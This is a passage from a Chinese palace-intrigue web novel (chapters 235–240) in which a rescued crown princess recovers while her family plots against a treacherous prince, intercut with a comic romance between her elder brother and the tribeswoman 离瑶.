顾思沫忍不住出声安慰她,“小妹,你放心吧,你身体底子好,孩子没有大碍。那些软筋散我已经为你解了,你现在只需要调理数日便能恢复如常。” “你现在什么也别想,只管休息便可。”夜时珽温声道,“我们已经派人给爹和九姑送了信,只是城中还需要制造一些假象,爹和九姑暂时来不了。” “我们商议过了,暂时不让你回城,来个将计就计,让某些人以为我们还没找到你,这样你也能安心地休养,同时我们也能逗着某些人戏耍一番。”夜时竣也忍不住开口。 这是大家商议后的决定。 她现在太虚弱了,万一某些人趁她病要她命,有些事可是防不胜防的。就像这次一样,谁能想到范老夫人租借的房子有问题? 而她不露面,尉迟睿和莫千骁便会自以为是他们得手了,从而更能主动暴露马脚。 再者,现在就算指控那二人勾结,说他们派人绑架了夜时舒,他们也只会把罪推给祝华凝。 要将那二人置于死地,这远远不能。 夜时舒当然明白这其中的利弊得失,也尊重大家的决定。她朝离瑶看去,感激地道,“瑶儿,这次真得谢谢你,要不是你送我那盒彩豆,我可能没机会逃出他们的手心。” 离瑶不好意思地笑了笑,“太子妃,你别这么说,我给你那盒彩豆只是觉得它们漂亮,很配你玩,我没想到它们竟然帮了大忙。” “那彩豆被祝华凝拿去了。”夜时舒有一事想不明白,遂又问道,“奇怪了,她把彩豆收起来了,为何还是会招群狼呢?” “她收起来了?是收在那只盒子里的吗?”离瑶眨着眼反问。 “没有,就是用手帕包起来了,那只盒子被她丫鬟扔湖里了。” “哈哈!”离瑶忍不住失笑,“那盒子能隔绝一切气味,她丫鬟居然把盒子扔了?那她死定了!” 大家目光纷纷投向她。 离瑶‘咳咳’清了清嗓子,“那彩豆需要特制的东西封存,不然十天半月都散不去味儿,那祝华凝就这样随身带着,那狼群至少要包围他们十天半月。” 听她说完,大家伙都哭笑不得。 当然,更多的是幸灾乐祸。 祝华凝要被困在石窟中那么久,而尉迟睿和莫千骁就算想派人去接应都没办法,这不是老天帮忙,故意整他们吗? 第235章 获救 夜时舒忍不住朝夜时珽挤眼色,“大哥,瑶儿帮了我们大忙,你得把人照顾好哦,鸡腿烤鸭肘子可不能少,知道不?” 夜时珽如何看不出她别有深意的眼色,剜了她一眼后,他招呼离瑶,“我让罗婶炖的鸡汤该起锅了,汤给小妹留着,鸡肉归你。这是村民家,不比府中,有什么吃什么,回去再补给你。” “好勒!我这就去给太子妃盛汤!”离瑶兴奋地跑了出去。 夜时竣挪步到自家大哥身侧,拿手肘撞了撞他,斜着嘴角坏兮兮地问道,“大哥,我和芯儿还要再办一次婚礼,要不你和离瑶商量一下,同我们一起办,怎样?” 夜时珽斜了他一眼,“你们办你们的,扯我们做什么?” 夜时竣夸张地盯着他从头到脚打量了一遍,“大哥,你都对莫千骁宣称离瑶是你未过门的女人了,你不会拿人家姑娘名节开玩笑吧?” 夜时珽低声斥道,“我心中有数!” 说完,他转身出了屋子。 夜时舒望着他背影,忍不住对夜时竣说道,“二哥,你别老拿婚事打趣大哥,就离瑶的性子,万一她嫌弃大哥太闷,不愿意嫁呢?到时你让大哥面子哪搁?” 顾思沫点了点头,“就是,小妹说得对,大哥对瑶儿是有心思的,但我们都没问过瑶儿的意思,万一她不愿意嫁大哥,那大哥岂不是很难堪?这事还是让大哥自己解决吧。” 夜时竣摸了摸鼻子,“就大哥那闷葫芦,能解决个啥?” 顾思沫瞪他,“我看大哥和瑶儿现在就挺好的,你别瞎操心,让他们顺其自然才是最好的!” “去看看米粥好了没?”尉迟凌突然回头朝他们夫妻甩了个眼色。 “殿下,我们现在就去。”顾思沫赶紧把夜时竣拉出去。 屋子里,总算就他们夫妻俩了。 看着男人紧绷的俊脸,原本漆黑的眼眸中有着明显的红血丝,不用问夜时舒都知道他为了自己没合眼。 这么久以来,她还是第一次从他脸上看到‘怕’,就是洞房花烛夜那次,那么多暗手潜伏着要他们的命,他都淡然无波,仿佛对付他们的那些人只是跳梁小丑。而今,他为了自己,竟会泄露自己的情绪。 她抬手摸上他俊脸,这才发现他肌肤是凉的,“对不起,让你担心了。” 尉迟凌将她抱上大腿,一手拥着她,一手轻抚着她肚子,下巴也在她额头上轻轻蹭着。 夜时舒双手捧着他的脸,亲了亲他的唇,笑颜绽放,“只要孩子没事,我会乖乖听话调理身子。” “知道我想做什么吗?”尉迟凌抵着她唇瓣沙哑问道。 “知道啊,不就是宰了那两个东西嘛!不过边塞那里粮草还不够充盈,等准备足够了,咱们随时跟北蔺国开战!他们的公主和皇子都在我们手上,优势在我们!”夜时舒自信地道。 尉迟凌轻抚着她肚子,突然低声叹了口气,“不该这么早让你怀上,晚一两年你和孩子也少受些苦。” 夜时舒嗔了他一眼,“说什么傻话呢,可这是我心心念念盼来的宝贝疙瘩,不许你嫌弃他!” 尉迟凌咬了一口她的下唇,“那你现在是嫌弃为夫了?” 夜时舒哭笑不得搂住他脖子,在颈窝里蹭着,“是不是吓惨了,怎么竟说一些招骂的话?快让我吃东西,然后陪我好好睡一觉,睡醒了就正常了!” 她话音刚落,门外就传来离瑶的声音,“太子妃,鸡汤来了!” “快放我去床上。”夜时舒捶了捶尉迟凌的肩。 “进来。”尉迟凌搂着她不放,只淡淡地朝门外唤道。 离瑶一手端着一只碗进来,先摆放在凳子上,又把凳子端到床边,然后笑着对夜时舒说道,“太子说你暂时不宜进太油腻的食物,但你身子又需要进补,便让罗婶把鸡汤去了油。还有米粥,也是太子让罗婶特意为你熬的,里面有补身的药材。太子妃,你慢用,大公子约我去小树林说话,我得赶紧过去。” “多谢。”夜时舒感激地道。 离瑶跑了出去,还体贴地为他们关上了房门。 尉迟凌腾出一手先端起鸡汤,夜时舒想接,但被他制止,“坐好。” 夜时舒也不跟他拗,乖乖地张着嘴等着他把碗沿送到嘴边。 …… 皇宫里。 尉迟晟晚上召尉迟睿和莫千骁进宫赴宴,还特意钦点了几名官员来陪酒。 酒宴喝到下半夜,所有人都喝得醉醺醺的,自然也就留宿在了宫中。 清晨,尉迟晟醒了过来,不等他问齐绥外面的情况,齐绥便满面喜色地向他禀道,“皇上,好消息,太子妃找到了!一个时辰前太子便派了人进宫报喜,但您睡得晚,奴才不敢惊扰您。” “找到了?”尉迟晟一下子瞌睡都没了,坐起身问道,“在何处找到的?可有抓到劫匪?” “回皇上,文岩来报的信,他说太子有交代,太子妃身子虚弱,避免有人不死心再伤害太子妃,暂不让太子妃露面。太子还说,让您装作什么都不知晓,只需要提防梁王和北蔺国四皇子。” “那太子妃腹中的孩子如何?” “回皇上,母子均安。” “好。” 尉迟睿点着头,可脸色却布满了阴沉。 他早就知道这个儿子不会安分,也知道他与莫千骁不避嫌地频繁往来。 只是没想到他们会先对太子妃下手,他还以为自己才是第一个被算计的…… 真是打得一手好算盘! 抓了太子妃,既可以威胁夜家父子,也可以威胁太子,一举便能拿捏他大邺国的两座重山! 想到什么,他对齐绥吩咐道,“若梁王和莫千骁要出宫,随他们去。” 既然太子妃已获救,那便把那二人放出去,看他们还耍什么花招! …… 午时。 尉迟睿和莫千骁回到梁王府。 听说昨晚至此时都没收到山里的消息,二人都疑惑不解。 尉迟睿立即派人去打探消息。 一个时辰后,探子火急火燎地回来禀报,“殿下,不好了,四明山上全是狼,无人敢靠近!” “全是狼?”尉迟睿震惊不已,“那不过是一座荒山,就算有狼出没又能有多少?” “殿下,整座山中都是狼,数不胜数啊!” 第236章 你又不是夜家的儿媳,拿什么同我比? “数不胜数?”尉迟睿目光凌厉地瞪着他,明显觉得他是在夸大其词。 “殿下,小的没说谎,是真的,四明山中全是狼,别说轻易靠近了,就是千军万马前去也只能望而生畏!”探子极力地想让他相信。 听他拿千军万马做比较,尉迟睿都险些被逗笑了。 也不怪他不信,实在是探子所说的场面太过浮夸,他无法想象得出是怎样的场景。 正在这时,莫千骁的手下来了。 其在莫千骁耳边低语了几句,莫千骁神色微僵,双眼骤然瞪大。 尉迟睿朝他看去,关心地问道,“四皇子,出何事了?” 莫千骁沉声道,“四明山被无数野狼占据,是真的!” “什么?竟是真的?”尉迟睿脸上浮出骇色,“那究竟是何缘由?本王的人曾在那里驻扎过数月,四明山有野兽不假,可无数野狼同时出没,闻所未见!” “我的人也进不去,探不到缘由。” “这……”尉迟睿脸色难看地又朝探子问道,“尉迟睿他们呢?他们现在在何处?” “回王爷,城内没他们的消息,他们应该是出城寻找夜时舒了,只不过没人知道他们往哪去了。” 尉迟睿缄默不语。 难道尉迟凌他们去了四明山? 莫非那些狼群是他们整出来的? 可这样也说不通,如果他们真有那么大的本事,那救出夜时舒也早该回来了。 莫千骁吩咐手下,“别轻举妄动,现下只需把致和将军府看好,看夜家的人是何反应再做打算。” 尉迟睿听后,附和地点了点头,接着吩咐自己的探子,“对,夜庚新不是还在城内搜查夜时舒的下落吗?你们把他的一举一动都盯好了,有任何异样随时来报!” “是!” 二人的手下一同退下。 “梁王,你安排了不少人在四明山,还有你那位侧妃也在四明山看守夜时舒,眼下群狼占据四明山,你觉得他们能否应付?”莫千骁看似关心地询问,实则是担心夜时舒喂了野狼。 好不容易才抓到的…… 而且他的决策一点都没错,夜时舒刚失踪就让尉迟凌和夜家方寸大乱。如果将夜时舒带回北蔺国,就算大邺国的将士再勇猛,也会让他们势气大减。 到时,再用夜时舒做诱饵,把夜庚新和尉迟凌骗到手,如此大邺国便同时失去两个手握兵权的人物。 两部大军群龙无首,那他们北蔺国攻下大邺国,简直就是易如反掌! 尉迟睿回他,“四皇子请放心,夜时舒被关押的地方只有我的人能找到,就算群狼遍野,这些畜生也伤不到夜时舒。” “梁王办事我自是放心的。只是出了这么一个意外,那些狼也不知何时能退散,我担心你的侧妃和手下粮草紧缺。” “本王就不信那些畜生会一直占据四明山!先耐心等待一两日吧,短短一两日,就算短少吃的也没大碍,他们会想办法的。”尉迟睿安慰他。 他是真不信群狼会一直占据山头。 那石窟中的确没备太多粮草,但短短几日,他觉得祝华凝应该能解决。 …… 村子里。 夜时舒每天就是吃和睡,提前过上了月子的生活。 她精神头和气色肉眼可见的一天比一天好,夜时竣他们也跟着开心。 “二嫂,你也怀着身孕,就别为我忙活了。”看着手中驱蚊的草药包,夜时舒很愧疚。 “我不累。”顾思沫笑着道,“这乡下虽然蚊虫多,可现成的草药也多,出去一会儿便能采一筐。做一个也是做,那就做多些大家都能用得着。再说了,我从小就在乡野长大,做什么都习以为常了,累不着的。” “有你做我二嫂,真幸福。”夜时舒嘻嘻笑道。 “该说幸福的人是我!”顾思沫感慨地道,“我从小到大都没有家,阁里的师兄师姐们虽然也很好,但学有所成后便与他们分别了。可能是老天太可怜我了,让我认识了你们兄妹,我本该是无依无靠的孤女,一下子不但有了丈夫,还有了爹、有了大哥、有了小妹。放眼这世上,有几人能比得过我幸运?” “芯儿,你说大话,我觉得我运气一点都不输你!”正在一旁啃烙饼的离瑶忍不住抬头。 顾思沫瞥了她一眼,“你又不是夜家的儿媳,你拿什么同我比?” 离瑶皱了皱眉,反问她,“那我做了夜家的儿媳,是不是就能同你比了?” 顾思沫眸子转了转,咧开嘴笑了笑,“瑶儿,你要是能够嫁给我们大哥,你不但运气比我好,我们还得叫你一声‘大嫂’呢!” 离瑶连烙饼都不啃了,转头朝夜时舒看去,“太子妃,真的吗?我要是嫁给大公子,你要唤我‘大嫂’?” 噗! 夜时舒心下都快笑翻了。 但面上,她不敢笑,害怕把‘大嫂’笑跑了,于是一本正经地道,“是,只要你能嫁给我大哥,那就是我‘大嫂’!” 离瑶刚要笑,可笑容还没绽放,突然瘪起嘴,“我倒是没意见,可大公子好像没那个意思。” “怎么会?”夜时舒和顾思沫异口同声。 “我和他平日里都没什么话可说,他对我说的最多的就是问我饿不饿。哪有动不动就问这个的,我又不是饿死鬼投胎。” “……”夜时舒和顾思沫对视了一眼,都忍不住干笑。 离瑶见她们不说话了,便摇头道,“算了,我就不跟芯儿比运气了。反正帮你们对付了莫千骁,我就该回家了。” 夜时舒和顾思沫是真不知道该说什么才好。 因为他们大哥的确没有表态过要娶离瑶,那次在紫琼山庄对莫千骁说的话,不过是大哥为了保护离瑶而已。 如果大哥没那个心思,她们也不能硬逼着大哥娶亲。 正在这时,夜时珽从门外进来,见她们一个个莫名其妙的沉默,脱口问道,“怎么了?” “咳!”夜时舒清了清嗓子,“没事。” “已经过去四日了,也不知道祝华凝他们怎样了。我们商议,打算去四明山看看,把祝华凝拿捏在手上。就算用她对付不了尉迟睿和莫千骁,也可以用她除掉丞相祝志顺,同时拔了他们在朝中的人脉!” 离瑶立马举手,“那我要去!” 夜时珽点头,“好,你同我去。” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第237章 你要不让我抱,那我抱别人去了? 看着他们离开,顾思沫和夜时舒你看着我、我看着你,然后同时失笑。 “小妹,你说大哥到底在想什么?” “不知。”夜时舒摇了摇头,随即话锋一转,“不过我觉得大哥应该是动了心的,离瑶说要离开,多半是走不了。” 顾思沫还想说什么,就听夜时竣在门外喊,“芯儿,快出来,罗婶挖了红薯,我们烤红薯去!” 接着就见尉迟凌进来。 她赶紧应道,“来了来了!殿下,你陪小妹,我们去了啊!” 待他们夫妻走远,尉迟凌关上房门,然后走到床边坐下。 “可觉得闷?” “有她们陪我说话,哪里会闷的?”夜时舒说完,关心地问他,“阿凌,就大哥和离瑶去四明山吗?会不会太冒险了?” “他们带了人。” “那就好。” 尉迟凌突然倾身,双手撑在她身体两侧,额头抵着她额头,鼻子抵着她鼻子,眸光幽幽地凝视着她,“她们一天到晚缠着你,为夫现在都快成边角料了。” 夜时舒笑着勾住他脖子,主动吻他的唇,“你这醋坛子打翻得好没道理,也不怕他们笑话!” 尉迟凌也装不下去了,含笑地将她深吻住。 夜时舒也没拒绝,顺从地迎合着他。 只是吻着吻着,势头便有些失控。夜时舒明显感觉到他身体的变化,赶紧抓住他放肆的大手,红着脸提醒他,“别乱来……” 尉迟凌半压着她,埋首在她颈项中不停地深呼吸。 夜时舒不敢笑话他,因为现在说笑只会刺激他,于是主动找话题,“今日城里是什么情况?尉迟睿和莫千骁有动静吗?” 果不自然,听到那二人的名字,尉迟凌心下的厌恶直接逼退了身体的欲望。 他坐起身,一边为她拢好衣襟一边说道,“他们一开始也挺沉得住气的,只是四五日过去了,山中狼群不减,他们开始在四处寻求驱狼的法子。我和两位舅兄商讨后,猜测他们会选择放火烧山。尉迟睿选的石窟挨着水源,位置极佳。就算有山火,也伤及不到那处。山火过后,尉迟睿一定会去救祝华凝的。” “所以,要趁着他们动手前把祝华凝拿下。”夜时舒主动接道。 “嗯。” “确实不能放过她!就算尉迟睿选择弃她,让她独自扛下绑劫我的罪名,但大哥说的没错,我们还可以拿祝华凝绑架我的事对付丞相府以及与丞相有往来的势力,也算废掉尉迟睿强力的臂膀!” 尉迟凌大手落在她小腹上,尽管那里一如既往的平坦,还未显怀,但他眉眼的光泽却温柔得腻人。 夜时舒笑着问他,“阿凌,你觉得我头胎是先生儿子还是先生女儿?二嫂同我说好,等回城后就去挑布匹做小衣裳,可是孩子都不知道是男是女,怎么挑选花色呢?” 尉迟凌挑了一下眉梢,“就不能儿子、女儿的一同准备?” 夜时舒抹了抹下巴,思索片刻后点头道,“也是哦!我和二嫂差不多月份,到时一同分娩,有可能她生儿子、我生女儿,也有可能她生女儿、我生儿子。如果我们都生儿子或者都生女儿,那余下的小衣裳也可以留给他们的弟弟妹妹。” 尉迟凌唇角微微抽动。 他说的是这个意思吗? 眸光闪烁过后,他抿了抿唇,决定还是先保密,省得她多忧心。 …… 四明山。 上次用过那奇臭无比的驱兽粉后,这次夜时珽有经验了,不等药效发作便用棉絮团子堵住了鼻子,同时也不忘吩咐手下做好防备。 “嘻嘻……”离瑶捂着嘴偷笑。 夜时珽剜了她一眼,提脚走在了前头,“走吧!” 他们下午出发的,按照上次的路线没废什么功夫就到了湖泊边。 由于身上味儿太大,引起湖泊附近狼群躁动,担心因此暴露被人发现,离瑶提议先躲进湖中,等到天黑再攀崖上去。 而就在他们潜入湖水中正游到崖壁边时,一道黑色身影突然从高空坠下,‘咚’的一声巨响,砸起数丈水花。 夜时珽和手下都看呆了。 而离瑶则是猝不及防地吓了一跳,猛地抱住夜时珽,一双腿更是直接盘在他腰间。 夜时珽身躯更是僵住,一脸黑线过后是一脸涨红。 倒是他的手下,没一个惊讶的。其中一个手下直指那浮在水面上的黑影,提醒他,“大公子,那人好像死了!” 夜时珽不得不将注意力从离瑶身上转移到那道黑影上,定睛一看,那黑衣人还真是一动不动没了生气,并且顺着下游的方向飘浮去。 就在他们还没看明白是怎么回事时,又有一个身着黑衣的人坠下来。 紧接着第三个、第四个、第五个…… 离瑶一开始被吓到,但第二道水花溅起时她开始看起了热闹,嘴里还自言自语的,“怎么回事,难道他们内讧了?” 夜时珽见她还挂在自己身上,忍不住拍她屁股。可手在水中,浮力阻挠,他一巴掌拍下,就跟抚摸似的,本就尴尬的他更加窘迫了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“给我下去!”不得已,他只能出声。 “我不!”离瑶抱紧他脖子,盘在他腰腹间的双腿也收得更紧,“我水性不怎么好,万一被冲走了我上哪找你们去?” 夜时珽尴尬无语。 之前就听自家小妹说过,这丫头好像是个路痴,在大邺国走了半年才摸到京城。 但她不下去,就这么挂在他身上,当他是没有知觉的木桩吗? 他可是个男人! “要不要我找根绳子栓着你,这样就冲不走了。” “我又不是牲口!”离瑶忍不住瞪他,“你要不让我抱,那我抱别人去了?” 夜时珽一听,脱口恼道,“你敢!” 在旁边的手下们听着他们的谈话,一个个下意识地往远处挪,好似真怕离瑶会朝他们扑过来。 离瑶不满地嘟起嘴,“不抱就不抱嘛,凶什么凶!” 她松开双腿和双手。 可下一刻,一双大手拖住了她,并在她耳边厉声警告,“你给我老实些,别乱动!” 离瑶‘嘿嘿’咧嘴,“那你可要抱紧了,万一我被水流冲走了,你可找不到我。” 夜时珽正拿眼神瞪她,突然又有一人从高处坠下。 这次不是黑衣人,而是一个绿衣女子。 其脸部朝下,一头乌发飘浮在水面上,像黑色的水草般,莫名地带着几分惊悚。 “大公子,这女的绿衣裳,该不会就是太子妃说的祝华凝的丫鬟吧?”一名手下小声问道。 夜时珽没应声。 沉默便是答案。 他拧着眉抬头望去,满眼都是疑惑。 是谁在上面大开杀戒? 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第238章 我允许你离开了吗? “大公子,你在下面等我,我偷偷上去瞧一眼。”离瑶在他耳边小声提议。 “不可!”夜时珽想都没想便拒道。 “哎呀,你别这么霸道嘛,我最擅长攀崖,让我上去再合适不过。” “我同你一起。” “好吧。” 离瑶放开他,猛地往上一飞,穿过瀑布就攀到了崖壁上。 看着她跟猴子一样,夜时珽又急又恼,交代手下让他们随时听令后,他也飞出水面朝瀑布穿去。 崖洞口,离瑶先伸长脖子朝里面探去。 但视线所及之处什么也没有。 因为洞里太深,她也瞧不出里面的情况,犹豫了片刻之后,她索性爬了上去,然后蹑手蹑脚的往深处去。 夜时珽想抓她都来不及,气得只能咬牙。 好在离瑶并没有走太远,还在他视线中,他便忍下了冲动没有跟进去。 而离瑶背对着他,睁大眼眸傻眼地看着不远处蹲在地上的女人。 她没见过祝华凝,但夜时舒在讲述被困时的经过时,描述过祝华凝的样子。 此刻她傻眼,不是因为祝华凝的外貌形象,而是祝华凝正蹲在地上,手上捧着一条胳膊,正埋头啃着…… 对! 她正啃着一条血淋淋的胳膊! 那一头的乌发乱糟糟地披散着,浑身血污,整个洞穴中不但充满了刺鼻的血腥气,还横七竖八躺满了死人。 这场景,好比女鬼食人,这叫谁瞧见不得吓尿啊? 能僵住不动,还敢大胆盯着对方看,已经算离瑶胆大坚强了! “你……”察觉到有人盯着自己,祝华凝突然抬起头,污血遍染的脸、狰狞的神色、恶毒的目光,说话更是尖锐,“你怎么还活着?你没跟他们一起死吗?哦,我知道了,你也是想抢我的吃的,对吗?” “呕!”看着她因为说话而从嘴里滚出来的肉,离瑶直接吐了。 他们九黎部落以打猎为生都从来不吃生肉,没想到在大邺国竟会看到吃…… 就在她呕吐时,祝华凝披头散发地朝她走来,尖锐地吼道,“敢跟我抢食,你也想被扔下去吗?” 离瑶又被她的样子吓了一跳,忍不住往后退。 祝华凝一双眼睛猩红,龇着牙狰狞地朝她扑过来,“你还敢跑,看我不把你扔下去——” 离瑶不是打不过她,只是她一身血污,脏得没法形容,她本能地不想与她碰触,于是掉头就往崖洞边跑,然后‘啊’的一声跳下—— “离瑶!”夜时珽惊骇不已,想也没想便随她跳了下去。 湖泊中央,正是瀑布倾泄之处,水流湍急。 离瑶在水中扑腾了几下,还不等她适应,整个人便像之前那些尸体一样不受控制地往下游而去。 “离瑶!”夜时珽快速朝她划去,可到底是慢了一步,没抓住她。 “大公子!”崖壁边的手下们见状,全都凌乱了。 夜时珽一边追着离瑶而去,一边朝他们吼道,“别管我们!上去拿人!” 看着他们俩顺水流而消失,手下们心中焦急,可任务在身又不敢违抗命令,最后只得飞身上崖壁去洞穴里拿人—— …… 再说离瑶这边,她被水流冲下后,没多久就抱住了一块石头。 等到夜时珽追赶到她时,她还冲他‘嘿嘿’一笑,“大公子,没想到你还会跟来。” 夜时珽黑沉着脸,一把将她腰身搂住,然后飞上了岸边。 他们一上岸,附近的狼群闻着他们身上的气息,逃也似的躲远了。 将她放下后,夜时珽都没有顾及形象了,一屁股坐在地上,紧抿着唇直喘粗气。 离瑶眼珠子转了转,蹲到他面前,干笑道,“我也不是故意往下跳的,你都没看到那女人好恐怖,就像大白天见了鬼……你别生气了好不,大不了下次我先跟你商量……” “还有下次?你是想气死我不成?”夜时珽猛地抓住她手腕,怒不可遏地瞪着她。 “那没有下次了,行吧?”离瑶嘟嘴道。 夜时珽还想多训她几句,突然看到远处的天空涌起黑烟。 而那个方向,正是入山路口的方向! 离瑶见他神色有异,下意识顺着他目光回头望去,这一望让她忍不住惊呼,“呀!起山火了!” 夜时珽沉声道,“看来我们是出不去了!” 离瑶不以为意地道,“出不去就出不去,不是有个石窟嘛,我们躲那里去就行了!”顿了一下,她补充道,“不过得把里面的死人清理干净!” 夜时珽剜了她一眼,下一刻眸光突然停滞在她身前。 湿透的衣裳紧贴着她肌肤,可以说是曲线毕露,直叫他看得浑身血脉卉张—— 他闭上眼狠狠地吸了口气,然后有意转开身。 离瑶以为他还在生气,于是跟着他转身,继续往他眼皮下凑,“大公子,你还生气呢?你个大男人,怎么气性如此大?” 夜时珽随便往那处瞄,但余光总是会落在她凹凸有致的身上,气得他一把将她拉到身后。 离瑶眨着眼望着他后脑勺,问道,“你要背我吗?” 夜时珽瞬间一脸黑线。 离瑶并没有往他背上扑,而是学他一眼坐在地上,叹气,“唉,跟你好难说话哦,没趣得紧!” 夜时珽俊脸越来越黑。 他没趣? 难道要他像夜老二那样上蹿下跳没个正形才有趣? 离瑶见他还是不理睬自己,语气不由得低了起来,“大公子,我知道你们接下来要对付莫千骁,他这次来大邺国肯定不会活着回北蔺国。既然已经料到他的下场,那我也没必要再躲着了。这次跟你出来,我也没打算再回去。虽然这条溪水不知通往何处,但顺着这条溪水肯定能出得去。你回石窟吧,我就顺着这溪水出去,然后找回家的路……” 她低着头说个不停,只是不等她说完,夜时珽连转身怒瞪着她,“我允许你离开了吗?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第239章 骂他禽兽不如? 离瑶抬起头,不满地看着他,“我离不离开是我的事,谁要你允——啊!” 后面的字还没来得及出口,她就被夜时珽用力一扯,下一刻便落在他腿上。 夜时珽一手紧箍着她腰肢,一手扣着她后脑勺,平日里清隽温和的脸庞此刻绷得棱角生硬,深邃的眼眸也比平日里凶恶。 看起来像要咬人…… 离瑶也不服气地盯着他。 下一瞬,只见他俊脸在眼中放大,紧接着她唇瓣微痛。 “你……” 她忍不住张口,却被他紧紧封住了唇。 四目相对,近在毫厘间,气息相融,难分你我。 离瑶回过神,忍不住推他。结果她这一动,非但没把人推开,反而让夜时珽收紧了臂力,正式撬开她的唇齿长驱直入。 “唔唔……”离瑶不适地拍打着他,可她越不安分夜时珽越纠缠得紧。 随着他气息紊乱,她悄咪咪地睁开眼缝,看着他情难自控的样子,眼眸中不由地露出黠色的笑。 她双手先是抵着他胸膛,渐渐地她的手开始扯他身上湿漉漉的长袍。 夜时珽一身火热,她微凉的小手落在他肌肤上的瞬间,夜时珽猛地一激灵,所有理智全部回归。 抓住她‘作乱’的爪子,他喘着粗气沙哑地问她,“做何?” 离瑶一脸通红,气息也被他吻得不匀,但还是坦然地说道,“当然是做你的女人啊!芯儿说了,嫁给你她和太子妃就能喊我‘大嫂’,你既然不让我离开,那我们就早点办事啊,回去我也能向她们炫耀了!” “你!”夜时珽瞪着她,直有一种想吐血的冲动。 离瑶故意在他腿上扭了扭,咧着嘴坏笑,“你到底来不来?” 夜时珽深呼吸,然后一巴掌拍在她屁股上,黑着脸恼道,“给我坐好!” 离瑶反手捂着被打过的屁股,瘪着嘴,眼神幽怨地瞪着他,“你亲都亲了,干嘛不继续?” “这是荒郊野外!谁第一次在荒郊野外的?”夜时珽说话的同时耳根爆红。 “有啊!我以前在家的时候经常在山里过夜,那山里的但凡叫得出名字的飞禽走兽我都见过他们交配!” “你……”夜时珽胸膛开始起伏,他们是飞禽走兽吗? 离瑶突然转过身跨坐在他身上,双手正直接去扒他的衣袍,咧着嘴的她浑然不觉自己像个女流氓,还‘嘿嘿’笑道,“不过我还没见过男人那啥……要不你让我看看?” 夜时珽这一下不仅耳根红了,连黑脸都变成了红脸。 再一次将她爪子抓住,抵着她额头咬牙道,“不许胡闹!就算要看也只能回去看!” 离瑶低头看了一眼,嘟起了嘴,“可你这样明显就是发情了啊?那不是应该……唔!” 她后面的话还没说完,夜时珽又扣住她后脑勺及时堵住她的唇。 不过他这次只是惩罚性地亲她,没有深入。 按捺下心中那股冲动后,他正色地问她,“离瑶,回答我,你可心悦我?” 离瑶点头,“当然心悦你了!” “真的?” “嗯。” 尽管她回得又快又果断,可夜时珽眯着眼眸,总觉得哪里不对劲,于是问她,“若是跟着我没吃的,你还愿意?” “没吃的?”离瑶立马偏头思考起来。 “离瑶!”看她这反应,夜时珽俊脸一沉,恨不得掐死她。 “哎呀,叫这么大声做什么?”离瑶捂住耳朵,噘着嘴道,“没吃的就没吃的,大不了你跟着我,我打猎给你吃。辛苦是辛苦一点,但也不是活不起。再说了,不是还有太子和太子妃嘛,要是没吃的,那我们脸皮厚点,去他们那讨点不就行了?” 噗! 上一刻夜时珽想吐血,下一刻便忍不住喷笑。 他都不知道是该说这丫头天真呢还是该夸她聪明…… “大公子……” “叫时珽!”听到她称呼,他忍不住纠正。 “嘿嘿,时珽。”离瑶抱着他脖子,咧着嘴问他,“我们还要不要继续?” 看着她唇角两侧可爱的梨涡,夜时珽猛地翻身把她压在身下,抵着她额头,眸光火热地凝着她,“是你要的,现在开始,你没后悔的机会了!” 语落,他封住她的唇,辗转汲取,两人湿漉漉的衣裳也被他近乎粗鲁地剥下—— 夜幕。 白日里还清晰可见的黑色浓烟与夜空融合,但成片的火光却格外的刺眼。 夜时珽把人从水中捞起来,将烤干后的衣裙给她穿上。 “还疼吗?” “疼!”离瑶夹着腿,偏头瞪着他,“见过禽兽交配,都没你这么凶!” “我……”夜时珽俊脸黑得透彻,这是骂他禽兽不如? “我不管,你得背着我走!” “好,我背!”他咬牙,只是想到一些事,他突然软了语气,在她耳边说道,“今日之事不许同任何人说,就算芯儿和小妹问起也不能说。” “为何?”离瑶不解。 “要脸!”夜时珽忍不住捏她脸蛋。 这章没有结束,请点击下一页继续阅读!不是她要脸,是他要脸! 他自以为傲的矜持和理智,在这死丫头面前不堪一击,甚至被击碎得片甲不留! 这要是让家里人知道,还不得笑话死他? 离瑶眨了眨眼,“要脸做什么?又不是能当饭吃?我们现在就是交配了啊,他们要是问起,我总不能说你不行吧?” “你!”夜时珽气得想咬死她! “好啦,别废话了,那火都快烧到这边了,赶紧去叫你那些手下,让他们顺着这条河离开四明山。”离瑶催促地推开他。 结果一失去他的臂力,她‘哎呦’一声便坐到地上。 夜时珽想笑又不敢笑。 说起来他也是有些心虚的,因为没经验,让她吃了好些‘苦头’…… 他蹲下身,将她抱了起来。 离瑶红着脸骂了他一句,“坏蛋!” …… 梁王府。 “王爷,放火烧山还真有效,那些野狼都被逼散了。等火势一过,我们的人就可以进山接应祝侧妃了。”探子回来禀报着好消息。 “也不知侧妃他们是否看好了夜时舒……”尉迟睿眼中多是不安。 毕竟好些天过去了,四明山里的情况一点音信都没有,他虽然信任祝华凝,可是要祝华凝去面对满山的野狼,他想象不出她会作对何种应对。 探子回道,“王爷放心吧,相信侧妃能看好夜时舒的。” 尉迟睿不敢深想,随即转移话题,“尉迟凌他们仍旧没有消息吗?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第240章 真是当我死了 探子摇头,“回王爷,自夜时舒被我们抓去以后,尉迟凌和夜家二位公子也一直没消息。将军府那边,夜庚新仍旧每日派人在城中搜寻。” 夜庚新还在城内寻人,那就说明他们是一点线索都没有。 至于尉迟凌和夜家两兄弟,多半是在城外哪个地方继续寻人。他们没有消息,就是最好的消息。 尉迟凌点了点头,随即又说道,“也不知四明山的山火多久才能熄灭,你要派人严密盯着,一旦火势弱小,便立即去接应侧妃,绝对不能让夜时舒出事。” “是!” 探子刚离开,管事便来报,“王爷,四皇子来了。” “嗯。” …… 裕丰侯府。 坐在桌边的游宏馨一脸愁云。 马氏从门外进来,见她神色不对,忙询问道,“馨儿,你叫我过来是出了什么事吗?” “娘,梁王妃邀我去紫琼山庄游玩!” “梁王妃邀你?”马氏很是意外,“你同她又没往来,她为何邀你?” 